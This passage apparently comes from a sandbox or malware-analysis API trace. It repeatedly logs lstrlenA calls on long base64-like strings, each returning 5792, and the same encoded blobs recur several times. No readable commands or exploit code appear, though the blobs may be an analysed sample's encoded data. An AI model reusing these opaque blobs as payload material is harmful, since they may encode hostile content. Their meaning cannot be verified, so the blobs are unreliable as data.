YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.356] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmmJb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw9wjxE5iUWrnV0b6hgMAfAoAo3A2VJpLca2Z6kJMRPF0NtRBDFVNcOH0CQ5LcoGCBpYenEIWS5oDfEzb1gcayD07ZZaySZBDNQMaM8X6REHUgnHBZn4Xm6jkrFwpKARvyjahsOsV+ZozgeCw2ju9OoquH8csJxdRucgPmB5dSHescgmSeeYcozxP3wIv6r9Hwg2i/KobEfbzf5opOyS9X/8G/vMfwczi+WaiNTK0M13uB805OlqfIzuxo0c9Xfra5VL5D9UnX8FEcr4z3aN66RMFwHgviNxAVLAlLqTvobs3THM4fqsjLRfjCbGONkMiREB7caOSlA2GVZQOAmraAsOSvPvjaFn5+KWCFnXftNibVsBd3GY3wgaQm9RQU4HFKq8XxWSgRMzdtK35dje7e+FJ5QEwCmrxzLbPuEbiwYJNzyp+Kub2Uemty4OC+9FR2yQOG1m646tcNMCZIPf2hP5dxIp2LpWqMAHGWXceedFvz7mQgkNMo3S/HhKz+/p6ldkwTs9CObAL3cI9rmPN9N6olBDi7Z1Z2XTObji6jlWrUM0dvQsEYXeUutMh3BVwXPmteiGBNUqg07OOra+bHETc2mHIiJCXRuK4ASsAPbBtSHKBLvOe/xQCeLspGViryIozpXOUeiKrwF81Yr5RyMQHKGriYOTB1rdJ/lO6b//EYq/plvQipuG2RXdy4OkXugvZ4m7YHTnAqWV3oSefx3BWalWGBNaz/yW1DstGgWamEcUpCUyMboBWdlSQdhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.356] lstrlenA (lpString="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") returned 5792 [0128.356] lstrlenA (lpString="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